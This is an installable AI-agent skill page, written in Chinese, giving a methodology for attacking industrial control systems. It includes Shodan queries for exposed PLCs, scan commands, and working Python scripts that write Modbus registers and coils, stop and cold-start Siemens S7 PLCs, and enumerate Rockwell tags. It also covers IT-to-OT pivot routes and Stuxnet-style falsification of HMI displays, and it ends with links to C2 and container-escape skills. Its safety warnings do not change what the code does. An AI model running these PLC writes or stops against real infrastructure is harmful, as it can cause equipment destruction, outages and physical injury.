skills/exploit/advanced/ot-ics-attack/SKILL.md
OT/ICS 工控系统攻击方法论。当目标涉及 SCADA/DCS/PLC 系统、发现 Modbus/DNP3/OPC UA/EtherNet-IP 等工控协议、或需要评估关键基础设施安全时使用。覆盖工控协议利用、PLC 攻击、HMI 渗透、IT/OT 边界突破
npx skillsauth add wgpsec/AboutSecurity ot-ics-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
⛔ 安全警告:OT 系统控制物理过程,错误操作可能导致设备损坏、环境灾难或人身伤害。仅在明确授权和安全隔离环境下测试!
Level 5: Enterprise Network (IT)
Level 4: Business Planning (ERP/MES)
━━━━━━━━━━━ DMZ / IT-OT 边界 ━━━━━━━━━━━
Level 3: Site Operations (Historian/SCADA Server)
Level 2: Area Control (HMI/Engineering WS)
Level 1: Basic Control (PLC/RTU/DCS)
Level 0: Physical Process (传感器/执行器)
攻击路径通常: Level 5 → 4 → DMZ → 3 → 2 → 1 → 0
关键突破点: IT/OT 边界(DMZ 配置错误)
| 协议 | 端口 | 认证 | 用途 | |------|------|------|------| | Modbus TCP | 502 | ⛔ 无 | PLC 读写寄存器 | | DNP3 | 20000 | 可选 | 电力 SCADA | | OPC UA | 4840 | 有 | 数据访问 | | EtherNet/IP | 44818 | ⛔ 无 | Rockwell PLC | | S7comm | 102 | ⛔ 无 | Siemens PLC | | BACnet | 47808 | ⛔ 无 | 楼宇自控 | | FINS | 9600 | ⛔ 无 | Omron PLC |
# Shodan 搜索暴露的 ICS 设备
shodan search "port:502 product:Modbus"
shodan search "port:102 product:S7"
shodan search "port:44818 product:EtherNet/IP"
shodan search "port:47808 product:BACnet"
# 目标网络扫描(⛔ 仅在授权后,使用低速率)
nmap -sT -Pn -p 102,502,4840,20000,44818,47808 --scan-delay 500ms TARGET_RANGE
# 被动流量分析(如果有镜像端口)
tcpdump -i eth0 -w ics_traffic.pcap port 502 or port 102 or port 44818
# Wireshark 工控协议解析
# 内置支持: Modbus, DNP3, OPC UA, S7comm, EtherNet/IP
#!/usr/bin/env python3
"""Modbus TCP 读写操作 — 无需认证"""
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()
# 读取保持寄存器(获取当前值/配置)
result = client.read_holding_registers(address=0, count=10, slave=1)
print(f"Registers: {result.registers}")
# 读取线圈状态(数字输出状态)
result = client.read_coils(address=0, count=10, slave=1)
print(f"Coils: {result.bits}")
# ⛔ 写入操作(改变物理过程!仅在安全环境)
# 写单个寄存器
client.write_register(address=0, value=100, slave=1)
# 写单个线圈(开关控制)
client.write_coil(address=0, value=True, slave=1) # 开
client.write_coil(address=0, value=False, slave=1) # 关
client.close()
#!/usr/bin/env python3
"""S7comm 协议交互 — Siemens S7-300/400/1200/1500"""
import snap7
# 连接 PLC
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1) # S7-300: slot=2
# 读取 PLC 信息
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")
# 读取数据块 (DB)
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 data: {data.hex()}")
# 读取输入/输出
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10) # 输入
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10) # 输出
# ⛔ 危险操作(仅安全环境)
# 停止 PLC
plc.plc_stop()
# 启动 PLC
plc.plc_cold_start()
plc.disconnect()
#!/usr/bin/env python3
"""EtherNet/IP CIP 协议 — 无认证"""
from pycomm3 import LogixDriver
with LogixDriver('TARGET_IP') as plc:
# 读取标签值
result = plc.read('MyTag')
print(f"Tag value: {result.value}")
# 读取多个标签
results = plc.read('Tag1', 'Tag2', 'Tag3')
for r in results:
print(f"{r.tag}: {r.value}")
# 获取 PLC 信息
info = plc.get_plc_info()
print(f"Product: {info['product_name']}")
# 列出所有标签(信息收集)
tags = plc.get_tag_list()
for tag in tags:
print(f" {tag['tag_name']}: {tag['data_type_name']}")
# ⛔ 写入
# plc.write('MotorSpeed', 1000)
HMI/SCADA 常见漏洞:
├─ 默认凭据(admin/admin, administrator/空)
├─ 未加密通信(Modbus/OPC DA 明文)
├─ Web HMI SQL注入/XSS
├─ VNC 无密码暴露
├─ RDP 弱口令(Level 2/3 工作站)
├─ 过时操作系统(Windows XP/7/2008 仍在用)
└─ 未更新的 SCADA 软件(已知 CVE)
常见 SCADA 软件:
├─ Siemens WinCC → CVE 众多
├─ GE iFix / CIMPLICITY
├─ Schneider ClearSCADA
├─ Wonderware InTouch
├─ Ignition (Inductive Automation)
└─ Kepware KEPServerEX (OPC)
从 IT 网络进入 OT:
├─ 跳板: Historian 服务器(同时连接 IT 和 OT)
├─ 双网卡工作站(Level 3 操作员电脑)
├─ VPN/远程访问通道(TeamViewer/AnyDesk 在 HMI 上)
├─ 共享文件服务器(IT/OT 共享)
├─ 数据库服务器(MES/ERP 连接到 OT)
└─ 防火墙规则宽松(OT→IT 无限制回连)
⛔ OT 攻击的潜在物理影响:
├─ 改变 PLC 逻辑 → 物理过程失控
├─ 修改 HMI 显示 → 操作员看到假数据(Stuxnet 手法)
├─ 停止 PLC → 生产停摆
├─ 修改安全限值 → 越过安全阈值
└─ 同时攻击 SIS(安全仪表系统) + PLC → 最危险
红队测试中的安全约束:
├─ ⛔ NEVER 修改 SIS (Safety Instrumented System)
├─ ⛔ NEVER 在生产系统上测试写入操作
├─ ✓ 仅读取操作验证可达性
├─ ✓ 在独立测试环境中验证写入
└─ ✓ 随时与运维团队保持通信
| 工具 | 用途 | |------|------| | pymodbus | Modbus TCP 客户端 | | python-snap7 | Siemens S7 通信 | | pycomm3 | EtherNet/IP CIP | | Wireshark + ICS dissectors | 协议分析 | | PLCScan | PLC 枚举 | | ISF (Industrial Exploitation Framework) | ICS 利用框架 | | GRASSMARLIN | OT 网络拓扑发现 | | Shodan/Censys | 暴露面发现 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能